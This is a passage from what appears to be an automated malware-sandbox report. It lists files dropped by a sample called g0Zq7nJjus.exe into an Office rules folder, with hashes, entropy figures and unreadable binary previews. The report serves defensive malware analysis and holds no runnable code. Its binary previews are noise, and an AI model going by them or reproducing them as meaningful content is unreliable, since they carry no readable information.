Preview:	<?xml.....TY.s..F.-v.}.w.a.+y...t.....k..8..H..S...6..;c.....t-.......pMI.~.(.....l..l/...NP.[...U...R..Hk.......u8w.x.]..e[.(....e..dM3Sh.8.........J.T...o8....2.D..$.{....(...a..O..-.V.......H~C....3W......(........T.l.BB......n........$.{ko..UN@.%....t.......nfW....F.F..E.-)....UF].D..}.....,w...=..2.{....):N`..X.7..<`H......Sj.W.<..l.\.=s..N..R.e....".0^..1n.%z-.5.....<.V....^KB... .sC8.Y.[....<B.?...&.eg.AP\|..&B.\.G..?X.0.v..Z.Dr.3q.....o..v..R.....ox...?. f...%.......`.<F.....X..j,..[......1..x&U.~..Y^...wWZ.#.....R.'........'...:..M...c.t.."3?}..8..d..n-=ev.\.k..s..}.y.Mk...../.L../0c....P.H....@.4....h."x._..sO.n.<....A.....3...c..J\4X.1.a.T.M..q.0[u...&0S............)...~..z.-.".v...3.i.....~..k...E...yau:....$.T..m5...s...n...v.]......PR......Pc<.}\N....ag....@..DL..Z=....cD\vh.hW.-:.x.ZL....tt....A.A.9.......!."..AI....~..".3.-......Q./.dS.F`.~u....,...P.J.....jP.i..Y.....K.J\|l...f.9iM..:P.....H.....m.r.0..g...A..X.!.1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.888026185670863
Encrypted:	false
SSDEEP:	48:mXSL2uN0sx83qo3V6C/2qRuU/33+khU5fz1Hx3i6D:vtxwl6WRRuU/3ukyfRN
MD5:	5BB374AB81C9EFC508722D7AA1816468
SHA1:	8E30254B79571221559EE090191264C87F6DB891
SHA-256:	A8AD9349169BC0340B2F572FB5A6B0D00EDBE46960D2AF667F1AA5DB603BD54E
SHA-512:	8A92E99C9231F1AB19ECE8906974C7C987836C3450BF8C4E4D9E400F9D9D5A1E09D5511B221C9BA8B513A5A156E29B2E8228442472284B30409663C627DC563D
Malicious:	false
Preview:	<?xml............B..4\.;.l.....9nVEPp#.u..O....N.4..>..yG. {q.!m....'OM..]TB.M.....l.A...50....5.g....z+.e..j.....a....\w2k.`.<.YYt....SY2#L..5.:..R...I.....,...y...M=7>."......N!L...k}Q.8L..>..f1.]..r.......X5.[..G.....#.eh..n.......F.Y...5....d..1.k.Ka.!t.ux!9...b.. {...rV.2.....Q.lY7...]{.Un.Y....1............[j...E..}.9.....)]u.).e9h.+P..H.....q....k.x..T..k......%...A.U.[.R<.fN.A..Yh4x..VAw2...\9...$():m.mI..+g..,.7...F2.R....$...tkF.........Y.x.!.."..!.N.h..oH.~........[..!..(B......K.\..W...5? ...GB.H\t.m.].......T.a:/........]...+...J&..E....6s...>5.I..U.._...\|.p...$.....J...^.....=.....#5X.5i".d.[.a.z.4...ce.r..Pr?l.h:....\t,W......,.,-.<...u;.2.?D..9V..h.N..1.P.......!l...C...^3xb3.M.f2.-.Cy..s....`.....6.[m+..=.l.3p...O.q.:.. .r&d...!...plK.....M.$.~N......W...PmR(khL....a.h9.....J.^....._S.W.4au.....J..D~.....m..d.8.j.\../.n.4..fK..b......Pc.#.R...?...{....P..8R.cYt%Lqx.s.a~;.cT;...5.~#........P..p./....T..S.'..c....l.!.*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.872758117411197
Encrypted:	false
SSDEEP:	48:zq+BTH9iuOLQlV0n+dQ2tCMsHJOwHK6kND:zq+BTH9iulXPdQ2tRsEx
MD5:	AE3E91B5939A33AF779579F414B117AB
SHA1:	FDCBF1A3250DFDEB1132DBD0E4387C90098EB228
SHA-256:	78C8A8D170265058A0C2C10AB01C9151EC2212C27E3EC5D74445021D1AA60C66
SHA-512:	36BB31523F90FDFCE3903E021B7A63C4CB616981C5384777371D067E4D535BB298EBFA4BD58F95727CAFE56E6CB10D375103755D1BC22500E928B7FD321B9802
Malicious:	false
Preview:	<?xml.....m."....%.M....$.`..Y......X7.@bR....&.X{.o..f.;N'.@.9..}..{.I.V.y$...P5...F%....\3.....9.qFt.....~..K{.k..U].v...t.F......Q..D..#.$f.Y?Or].At6.!Y.a...1"F_..V.X....w#.BNzp..hY.>.....+.}.(..a.H-...tr.........s.....7 [.._r..S..P......kQ.\.%-Y..m....f(3?....!..F...... ..0.._k......+B0.T..`...h3........<...BA.6vZ.D.e@.....,4C..F#.....O...x.d}..y....-.RJ.._.D"..[{e.5..!.9....E........h.f7.W...NT<..T....QLK. +^...Zc.<..R.d#......z....ZB!..D...............3....K<I.}(.Nx0...t.8..G...}.....'....O.F-8 K...I.K.x...Wa9........`8..P.._..]s..1?F ^s.........R,w.Gz.>...s"J.=..].C.V..?%f.P`%.....K.........j....H..:Ab...vf...6.......Xu9-..1iB....!..e..r..1.r.\...-..w.:...Bj.s.SRn;UQ...........q...6IG%.#g.r.......=....S...t....y{iN..\|..Bug.f...U<.[.F.....~0.F.......\|....slc[.v.....A....~.1.k.ks]..i.Q..dO?bJ...._.....O2:F......-..{...n..Hz..073...N...j..@.a"...!._.4....JQ...j.....U....].....8.9........#..x...@.2}g.....P......h..\...<..f....`.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.882447021066067
Encrypted:	false
SSDEEP:	24:IemJKe+oR3H8fOGM5mURDKuk5FlWu4T1c8Se6qHcmsULUDBroK5L8AsVw8T2bD:ITKoR8ZUhyzWPBc038msEU2Hw7D
MD5:	9FF46193E11362C3FDB978F63EEEACFC
SHA1:	CE437337ABC39D022E2FED3355CC0EFE96F5B429
SHA-256:	7785165248FBCF371449CDA299E27AFD0F9155B729C37B2EACC096A248588DF2
SHA-512:	3265B66DC439CF785E9B03A05D357E5525063DAAF3D572B49B74EC2A890E322DFBEF52D2D54762163EA795B316E7C398F5E958BD3B6C41D0905DAE620FDCE84E
Malicious:	false
Preview:	<?xml..<-5X.V./.6q.`..1.........m./.....c..<....V.........l60.Y...Fe8....R..k..z..F[e(..9`.~.....S...p......b..z.&gOE..}.F.Y.].....[PH+$....P......4.)...y}Rz./B..8....Z..'..z.ay.O.-.w....?!:...d........^.M.g"(..Z.....=..q.,.B...H&l....,......i.V.T..&.1RQ..iq.XU.\u...;...@_.O.;~...\..D.}...(J.Yr.\|5.f........Rw...`..2..e..C.4....8.=E...............K2..)R'..@.y7l..7.yE8h.......S.R.!B9.!.C..]q........p..xg&vU...u.fQ...4....3.@0Y..m...O..z6/..<....b..H=.{...H=?....1.X..3.......!,......2.W..........Z.41$z<.Cu.'/.J.%...r.#..Y..E...p9K.`..l.t>...2..R.......,.]..!h...dZ....lI.)...D....Z.E.CE.._.W..p.5.Tu.9,E$..P...&-..f..5...=..}j....4`.....'!1-..........h0`..(.)-.dc...G.........t.{H.,....Ig....i......... .E..K.]=.O.C`..p..."g.....sR.#....L#px.A...f.9.T!....{B..U.7.......Z...8...Zx..!.1.........+..HV.T....&......6%p.9T..<Us....&L.S..q.}...m.1.......[....4P...J....H.......0 .Q.@..R;..".....o..o.r.V$W......d."1....ip.....v..<O;....m.../i.c..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.900710350851425
Encrypted:	false
SSDEEP:	48:M2+LbGKpL+TZkWVyWdesddDPDIWMDiBPRPGP11aPdfVgD:M2+uKpLLWVyWdeAtbIDX0fe
MD5:	7B8B3A64A6DD6894C5E9095F4A636801
SHA1:	91E895B0836FEBB1D2C8AFD36A1A2557EFFED6A0
SHA-256:	CC109BD5131BC06E0A1079C137E21B481E511A66577675A72397C3504620433D
SHA-512:	3D951576074C72225EACBBFC5A68308579FEEA97CD5F238330564C953F820FCC2B52773EC7D76FAD8CE4772D431958ECA083DEC420D41EE61856AA204C00924E
Malicious:	false
Preview:	<?xml6],.,...B....=...7.......rp.@l.;I9e.n.....].A....dk...b<j...h..j.^...Nz...R.....>.dQE.6:...._A..e.>.q.G....%k..!.qP#."..B........-.iY.J....b........K..Ir)0.l.&u.?..[..-....T...4....n.....tUm...l{.Q..t.x(..!,.c.....L)..0J....h6...i{..WZ..`.^.b.C.......C..Q..k..q....'&..ZI.....0.+......$.LM......<..Gpz...]......e......n....Q.3E............T..E.e..1..^7..v.x...$.}8b!......\yh..c_.y...iJ..z.Nw.......K.....D..ez.i.......T......`G........!mBVC.{.hX..AMSr......E.~I=.t..L.u.......2.?...T.5.,...(..].[.....K..H..ws..p...iR..k..j.....&...ur.[.i]....?.......+\.._6.48..........{..."!...r...=..M.G.2. uc.]dEWN.......m....;.]B..D4...F.3c.q....s..PZT..n#Q.gV3.jf.Y.S..@.z+$...[..`...I...yU..2.j....h."...60.NR..j.{\...(.?,....X..w.N.p...<......7.w..K..z.;....H4NIF..4.Q.t.!0..+.s.F.^.....U9.....f..g......18......>.. q...zw...W....k........<..8Q......o..=.`.p....dN....1;......'....IWi...Q..g.<.'...0.<.E.".....o.....^D..>...`..b.F..0..........[}B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.863660063470163
Encrypted:	false
SSDEEP:	24:GBxr0ZZtM0ZyN9jt8ZVU/jN2OMXXmBPbeuwWL+nQh+xLQF/pqczCyTjdKC62bD:WxA0NBK3U/j8h0lwWThXF/gujTECxD
MD5:	ED9C141E0F1E91E1CBD98E9AE95CB2E7
SHA1:	BA35BB2A19E5721F8D602CF2FDF3F734544F3D0A
SHA-256:	E526B63E1E352ADB99DE570FF765E6EE5880843D4E3E530B51A259A27D29F3B3
SHA-512:	DDE65EBD749B5065B2A9DB3624CA5D178B6A1E44456E7AD687CE3CF8D02DCCEF8BEE84F8B3DE19CFDEC8245B3BA53725EB85D359CFD5FE6D97859D6BCADC53C2
Malicious:	false
Preview:	<?xml"...l.........p..$%a...n...x.w.z@.s.!Y.....Q.t....f{l....S.&E....?..9..^..I.?.....V...Y.J].M..x.5..+.Bc.z...G.\85..4e..m[...w....e.Yns..x.I....`..2......PH}.....Tu.w.i...o.U0M..d..._..Y..V..N95~.Q...&I.%.I8>...D9..."...E....(..Y+....lMd(n..1]..Qpd.w....=...\|..T...r.. .(7@.q!.....=.'.q\....j..[..l..y..t.2...P...f4Q.\|...`....\|UTh..Gdl#..J.H.nH.}...7......V.....z.^....]Q.....~Y%.}..4...N.G../..UD.)....Ov...........I...T..D((..<....<.3d.b..0.g..Ke..]j.$.s.q.I..-...#o../f...B.T...:..i.!p.n.fD....;8.=.u.j.).,Qia....k!.}-..wF.P9..I.j..B`...D;.............hv....6.l..2b......s,.g....Y#..x..j`.........\|}{..2.9n...............6.c..h.].G0"W..}......-d..%..;....K.......h..t.n.S*.....D.Q.\|T.d.{......q.&..7.....:..Y..Xx........xn...E..#N..u......+..mQ..+Vtu[.1.....y...C2#......(9x.....b.."f..(L.D....4.4..\|....7.]..6....?j.S@1....:#...J..3.S.+.O.;....q..X.l._I.y....<..#.H.$.8...t.b..{A....ns...P......o.C.k........y#V...`.d.1.W.8.;YSA...4..$.6S9.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.879835982817966
Encrypted:	false
SSDEEP:	48:QVcC7u9JYuelE+H0RabqFgMdOh6nqUJXiyuD:QVd7ukJvXqPdVnH9hW
MD5:	84DB88DC6293B9C32478EB96E255CA06
SHA1:	2908110EE70518C3C309937E895E44A77B16BC46
SHA-256:	7234838C59681CBE7FB15D6EE56432BB29C079CF05D80BCE3EF09239F2A4A2F3
SHA-512:	F1D81DC93BEA8F20E0D22299A6EA93E02A1D7568C663F7840F2769C3C4E9DF3694619FD8EE29D33285ED294EFEBC3A22F7DCC63CE0BAABC453175F7014F6B140
Malicious:	false
Preview:	<?xml-........teR...Hj....2\|[...JR.a 2..I....U...R..jH.]....R..^.u.?.:f...w..f.b\.O..fYCsAa/...^....'6#.]d .=".g.j...3N.:...[Pa....(.Xw.w..h.5.Q......>,.d..=..$ .T....at.y.......mT.J......k.D.$.d.pI.[...VJ..p..@.>=u....Pk.C...9.T.\|..jf.m.j...Z.U.3.\|<.g...].2.8......w_,%..;...'..!04...)..eYZ..!...p...NY...?K.M.RA+.;...R..g...9m?Nti...KW...O..[.L......\|.C.C..O.e!;.......\|..P..2.ds"..@...3.#......$..`.Z...Q%...:...G....F.R...}...2n..m............w$.>Yh.<M..I2........}._"9..."8GW......wW....E.F......k..I.....NR.t..u.$.2_0...fF...h...!.....1.<.I.....2(...^C.....,.n.I...(..u......i..V.+....UB@p/..bd..9.F.;....k...........H>.....KZ...i.j[.n4.=.y..P.9...~.I..S........N...C... n..Zz.....LH..>Q..K.}B...<.\|.....`..O..,D......Y.).....V..R`..O...ap..=..I..)..]'..........[.D..S...M.'........:.....\|....@.G.........9.E).....(.N.............Q0...\|C.s...bb}{U.C.M..S.>....9..ihs...4Q.......i._..R.[.....wT*X;..FJ..CbqU.z....(I.....T.......%1d..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.884365614684664
Encrypted:	false
SSDEEP:	48:+BzTFWL1XQcXQdvXmlF3YzB7DUKJJXkFiXMWpqFTb5Qb9D:+Nc6HXWodUqXkFic1pU
MD5:	630CE54372F9A4998A86AA55E285B57C
SHA1:	983C80689300F5EEEAABCABCB1172AAD4C56EAC5
SHA-256:	77170F7CE1949F2D01DC4FF154510C41720DFA4A390D99DD58FE6CFC9BDD9EE4
SHA-512:	9B763E4B3E3F3E4971F94FD898505AB7BBE32A038ABEEB18F10D24F1878AEDB8CC8550CC0F8D6D6A6AC617421BDDCBA97FC355025720907814D2545AEF151EE6
Malicious:	false
Preview:	<?xml.1C.U...l....n.f6........4p....^+t...N".#.zb.....).u.._...M.\..A"I..>g.5. \C............k.eW...;.!.. ..}..%.6..z.C..........@y@.U\|{.vt.....Z.../.'.-.6.Kvc....j.$...k^D....>.L.C"./...=...[.Z.@....{..Mb^X.#..:.q`.g.>m...qyKpB...VO.>.&..f=Yb..#\|.=...tR...&......;.^J..:e..jG.v.VD.....j....Q..s..S8.+.9I(.kA.<.y/..q\...R).&...-O.e....jV..l\..$b.....z.73...C.uj.......X...PR.Yzo.NB.k..O.{..Z..j-`O..cZ.[...~..4W2..8...cR..ej.F.E.U.....]S...].,.....E?{G...mXC....~............V)P@...] -N.K.'......(..b..(..}..S....G..'.B7+.X...rT.^_rVla./S..Aa.e&.i..Q.t.,..".7....nO. .=.L.....rk.....o@b....'R..edjd..7..yS........n...H?..$.....2...3i...vf.o>.. {,R.5...;ne..zq.(.C..BB~..!0:.>CH..i..X.b4.'..rD.N..&.jgjO.6Y-1.j...r._A..0...~x......T...2jt{H.@..5....<..A.?..MRF.7$\.z..T[R9....@.}.@.y....{p.8.1}(./+d..2..X..... .*.P(...~....jo........b.-....^.8.....&.Es.[G.e..b.........V\{..-m.....d6{..<..+.......j..It'@...!y.~..aTq?.....[E....=....k..H}....$.%FCm9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.876067566857274
Encrypted:	false
SSDEEP:	48:zURB/hKvHHEnUv18BRlz6HTu3tDjAbfEh9mNWu1ZPygo4ezoD:eKvnEYensHC9gbfEh9mNWCxx8z0
MD5:	55286F531176FA9902B4A812A0FBD573
SHA1:	48B6D736E43B588C50D36B2D7CD6E9C9C75C9E02
SHA-256:	A0052165814E2DF08B8F934E23E47F0901FE81BAA2F9CCFF5036033ACC8F05E1
SHA-512:	460BBD698F8FFB3D18234D9EBEDC5B03CBD9506E6D466C038855B99C30815E62D611F9A0C036C75FCB7D6C4ECB4A6236E66A64193CFB10B2EB6D2F6D6AE15C01
Malicious:	false
Preview:	<?xml.....p.Xv).[....r.7..y......V._..3..]E.x.p.8...6...&e2.$:..5t...Wxe.YH,2ZW..L8....? ..&.si2ax....rJ.......?.~..D.i..M...\....f.4.c...H.]..4'...q..9..gQ..u.\|..g..a.i.:.....DQ..t.F.t.v.U.]..0...X...7.r&...Z,.m...P....-#s....uYy.H.wH...Y.....-O.I.6X..0D.....J.....b.$.k...n......e.&.s....hn..BU[/}.@..@.r......^.f...eK.x.sGl.%...w..Q.j......].=+...'.FJ;..E...c.u.y......E{.xs)..{..Q5.Uo.#b..q..}.;?.}.FL4#I...../.,..(..Z5..[Nu....]B. Q.3...b......JY-.$.+i......ZU`....]a.{.e.......p...D.0...-.d.)...-B.....!J.xD...n.xriv.T".U7.....#'....>.W..X!..}!.I...x>._..<..Y...R...u<..,...K...u..."....<362>g. _l....BC.b2...3.l.WT..(.....q......:.#B.2.k.&\|..Z.YB......&..!...r...!VAh.....~$.......Y].@p8.....l~8o.i:...?.z...5... @.....5.dkH]....\....:.&1u.Fy$B.. ..x...P..v.._.uX...Xp..%\|... ..-.+.6..HgK...`2C/........._.N.$z.9../M./4G.$...@&.z.\..U.....}G.1..g?.,..K..v*.>..&.....F.$M.#.ca.9.:..+.6J....G....u..+m.l...0...._R./...7T3.`....F`t......C...<.0R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8854570306531215
Encrypted:	false
SSDEEP:	48:0SDZk0JKOFqLdc0SKn8pHKQVYszaTbzGR40etD:0oZkWKOwLSKaH5VP8bKyV
MD5:	A0FCE628B44EA5806A7CDC79366CB39B
SHA1:	2A18AEFC9D4ED58B22CF943B3C0E13E60F077956
SHA-256:	43570AFDB1ABAC309D14598D7D43DE203F394C970EBE01BCB0EC73C53E182EDD
SHA-512:	48D3DEA4F3D3E658F915723B28E53BC749094373667C8A436B752D2F689523A29F70531525690CEEB2C0B9CE0991E84F53CB0494DDB8570EEBCACC5E3D1BE72D
Malicious:	false
Preview:	<?xmlH..F.J/..y..]......j..(...oY....;s..`.D..B....l@p.9..3...d...........1`.^...{.1..{_J"...!.,.7....c..(..1...y.e.)..y...9C.#....T.U..k.._......G.!...Z.7f....'Q..s$nz....b...>v3.W..k......,J.v.1....fn1u&......Dz..v....Ou...g...WZ...8...-.X....o.;.......vW...N.&.Hl...EuY.7.W....q..Z....g...i..'X..uB._?.'.{1X..7P.v.[5.(..0....3.`L...X......Lh..O'....G.d5L..3..)0.a..E5.....5-(L...!..>JuI..."I.`.%..;...i.cG...q.....B..!.u....:y...JY.....U.QFI\|.)..Q..%.v..S.b.5.$"B+.....k....mk.8.......%.;.V....h...yx.!K..q...%~.....v......iXc....}.Us.0.....k....\.s......$....zJ.U...lj^..U..J.!Z..mL..C...7.0V._...K.GKV...-1J(l..ZM.....5..}=e...1.B69.`.%..a.w\|....o...q........(...L.+..s.NB.O`...`.Y./u.\|.b..!+J....G..d..a).2....5({.b..........D.6...F.k.<W..I..=......8..... .......qn.x.T.8)..#.T..+QfKM.v!.@.._...=.....h.A....f...D...7....\...QU.(.......\.8..C..0..f...L.=l...0C...Y.1o.L......P!..`....E......._.A^...F....z%[...C.. ..i8..#;.%.?j...X.@)#..&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.86456102474403
Encrypted:	false
SSDEEP:	48:EPLAE6XqDJ1S0gMiPAoxA7Sbk7zFhCnbd/jh+G4B7ZaCFD:EPLWq1c0c1uYklhWd/EJO2
MD5:	10A20270AEC17BAC1406EB4F65ED3708
SHA1:	42CF038F523070DBB27551AC03E57F262F998F32
SHA-256:	D453C761796DD7B5B9DB456D82DCF085567D07959FFB226EC9641EBD3A63B7BE
SHA-512:	F1F707EEFD23115DA790A76E7C629008BF7B5B9A2271A7E53E74EAE23527C326C2AFFC1D41CDF621128E41B8F1587603FE26043F01F2272EEA468B33FB31F5E7
Malicious:	false
Preview:	<?xml.)......F.U.....\|B.f....V...lK%...).m..u..s...t.=......8k..7...6..x.A...]z:.F.G].9.A6"N.^.&9g.z."..f9...8.....4.a..J.tm.M.....l....... W..2ir.h.<....86.P......P.....3i\|R..N...d...b.\.K ./....12..]..k....#.0.Hkn\|.J.....6.T.].\..{.nE...t...G22`@h.RG......."...s.x....r../..6.O...I...^.cx...!...$!.O".QUB.....huk....nW[`..a...;.o.]y....=.Zq.d..&s...!.2.@M....@..4.%o9.......^...._....A.JQx`E.....!.{....DH....1..vt.`}`..??...h.....s..%!1.......n;.o...6.&#.y..k..$...C........]4........D5....g..Pt..t..x...^.].L...7).=@a.U.3FU....8.8.`....\|.Z..>.....`.X%..vD......f9......1mA...:.5...".a...\..f.'_..I..8Ft.a...9..M^..u....C.......--..p5...Q.t..#.......`..%PT$.cY.o.rn..%\...&uo[.Z:.F..".$D.qJ...x../8o..,x............A1.23..-..j =.A..D.I.w.+...:...=3K..t........u.._.l.RG..t.v....a....i.M..-...k....x!..}.BW...........K...`.}.[p(s.wH....0.@....33..F.z.dY..q..0.@.#k..B^..9....2...Q.......:...`k.2H..X...C.].........\..W^..8....P...w...6.E.....&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.873766681249513
Encrypted:	false
SSDEEP:	48:XfUBjZp36qKXtwhTn58xX+7vTv/osNbmHsiau+0D:X8Btpqq+whN8xI7v/5bwa3g
MD5:	6DDB77EC5F53652673E6B71974D791AB
SHA1:	F5B6866A8F0406B511D7640B1D85D5F70521AD98
SHA-256:	3C044C874A468DE30C63C59C56D0950542EF4A91606B4D27A5A088C6E2BE2A44
SHA-512:	D9638E79A7B4682C96520CE9C3BA474738D1EFDEF3AD88959513B66FC3DAF12B71485701F2C74B9B1617E69743085B332467D08C27D1EE0A9A4BE8C09D5394F5
Malicious:	false
Preview:	<?xml:.D.7.....Y..n......g/.t..........@b5..!..\&.`.5.".q..."..........\..7.:2.3...eD..,.W..E!~ekl.W.>...w..Ht..(.......\|...#...Q=F~.w.on............%..l^a..#..x..G...^........h2..k6.W.._..._..8..[.....ZB)....U....'...A'...U........=b.`gZ.v-J'.2....`..7E.G.r..-.\|\|..;....!.;\|s.E.9;.....B.n.........v<5..4.H..M.f".Np.m.......X.Y....B3...w...;EY yg".n.-Y.C.X3..1...?.>..z..N3<...d...i. .............6D6.sG....i...h>.F..1.pm....M..,........EU...,..F.....9..g..O.91a.<.r...vF..-.8.a.fP...2.><@...].u..L'6.vYt...].~.C...B.Og...b...jv.a...iG.T@...1.%f.H/s7..K.T.0..8<%.&wbBp.....1...._0.h...8...7........+.......b..=.....N.-..x.;..Z..>)N......O?.R.<. ...!....`.E......y.oo-...8.z..`>.&Lc.......\2..I.......W...Z...YL....j..rP...-...g.B+...k..#ow...L.;..M.K.E.....%...B,KR......<.4...e.........n%...M]d....7..l..Jhsn...\%.dr..!:..^..vNv.....'G".Y...?.. ..4K.2......V.n.....o.L..."............XA..h..k_..Bb.k.M.4 ......5~.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.881202219365006
Encrypted:	false
SSDEEP:	48:5AncSJQUpho5OVS/l2vWgJ1QrEX4XmKus7PWHXYl6D:5g+CqsViGq2hsk
MD5:	7986F6CC1BF8CA4559A5BF7EBB5AFD7C
SHA1:	7FDFA229A9176DC09592EB9315E2916C9AE70050
SHA-256:	A380F08F934B793276A01B97D299135C98A01E14380A736858A9642CE099A0DC
SHA-512:	DEF98EDB53336F70447DB8A00BD7E8157B31D8D460FFC08CF5FAF1027A672D79B46102D249631E91923F454CB4993FC0BC806E03879922D16B96BB9CEA4D6169
Malicious:	false
Preview:	<?xml..p.B.e./... Q{'.....C...nu.(..2AdF1K..7..7W...n..n..b45.{.p..!...J...?..'.bD".b.)..6.bKJ..(.Z.}p.\........J....?._...R......V)`...!g...,....o....S..g...,1\....R......f.]F<j`W..DK...X{.3b..5...........)....;...p4....a%.z.........#...D+,..IMx..I..A#:B.c....sm.....3.J.......omFR.....{.x..'.2.v..o\^g..DmP......3...-Q.......B}..].Z0K.T.s.";l4..Q..!....}...)....!..$..uU.G.j..T..LD0.........m..8..W/.......c...SKH4R .....e...XQ.2.....L.M...e....o.%.I.v.k....P....Q.b..&.c..>m.P.4..BN.n.9Q...:b..s3...D`.....$%.c..)..&..6,...s\5.......;..W.m..iw.B...Y.....0.1.._r.X;..y.....'0E.T.i...@..e...k(?t..<K.....8)8jV......~...l^...S.L#.d..Zq.N.....H...P.1.a.e};Hd.......vAw....3..}....[.....\|..`\|./...8.\|..&p..s........'j(....A.....L..^..5T......."....9...j...<...K..u..(..^.]7..p.U.,.H.o.`XZ..1K.N&...fL\..M..VcL..H\. .>.E...C..]n.6D.v]wq*..\|..T..}.......E.<.db{Zc(u/.v....\..nR...U...=D.ga..x....(..'...)wm......A.I.....y........@vU.....Y<.4.B...F ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.901592467541992
Encrypted:	false
SSDEEP:	24:qZuAMVsbahrVZNL+NpDwTM/fQYhoFUgPfikSle4IgS+nJsomhrNf1KDzW2kdlCOF:oMVJh5biNp4X24UDLlxGcOUiZD
MD5:	44DBAF471C2F132E9B6A3B689027EC2A
SHA1:	9D9C5B3603B3BCB3BD5D9D2F5C235CACB06EEBF7
SHA-256:	8FE450677339FDF5F041FB263D754EBDA690AC2B5CD578B8F259E5FF66A6DA89
SHA-512:	739212E274979196B2A1F318BBA74163AAB1D5A8B085FD67B132A601D2CE738EE21AC98288B90D191579BF6995C451F77CAAF80D14B2326C66B38DBA5BE75773
Malicious:	false
Preview:	<?xml.r..._......IDD.w.1...`TX.m...S&.k;..us....J\|.r..+..+.).w.wl..=>W..T.~C....C.RNoD.-...?@..m8....S[T+..]gi..F.PAi....H7.0.]....t.G.<.....%...fq\|..I.Y'.).}r.}..n...=<..eW/W...\...8..[.vn.......Om.h.>>.a..,...u..8..x.W..$..Pv..K.B..w..9.'w..5.#.{...ak.@..1......@{...^......2..>........\|1...:..{.{T.&UM.-.........^..v.sl-.R.v..2.&^...dQ....T..A...%.[9.x...t..d.........x.}.m...%~...\.."#J.7.'a..v..@......m;..#..j..~a#.6.Bh.....5<..V..c.1v.s6.DE.K.).X}..I.<....>!...2.oP..G........,Z...j..8.......*...9.w...v..0..1Y.O.j...q[qS..I...h.\|...U.....~..'...k..Ru.....o...4c.....5M....T.FP.}.W.S....i<m..v7.{iD.j.....U^..H\|...y.s.......>s@.t..1;..w1..tp.RL.1..D.]...'...A..&.....;.)>..dz$...HY......5.bh..M:{.b..>)Xn]2'Z.r.....Cz...e.v.]N.".k.d.'....Q;......v.l...mJ..U.K.....hO,EL0.Xt...mW.0tc...XC;y.y".'.....b......3..oRQ../...{v<..(..r.k.. .....4./.q{....?.......[ z..F.\kS..7D..L..,...Bz_K...Z..c./........f..B.%..=...2..3.:..9...l{)1 .....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.879760118040391
Encrypted:	false
SSDEEP:	48:urr9RIJvYRuNyaFygTuo2T6gpD3w2RT5iE9xNSWv9iKPXD:urrAJbN/S7lwYTQE/Njv9bPT
MD5:	0CD6D4D4127DDD799D3332284C6DE98A
SHA1:	9A0505142461ADEE45F260FE4D9F5750924983C8
SHA-256:	0F18FE4D33F8646C9D31A8F7BB47AD7D661CCEB9CB8E8C4EB5173D09BB59A399
SHA-512:	0E61901F180AE418963F47C6575CEDD2B5DCE45F16D8FAA5B7EF56C63019AA5FD51EB936084333B4EC591C40E9F33B7649F6BEC08EDD817201F427B3E86410C2
Malicious:	false
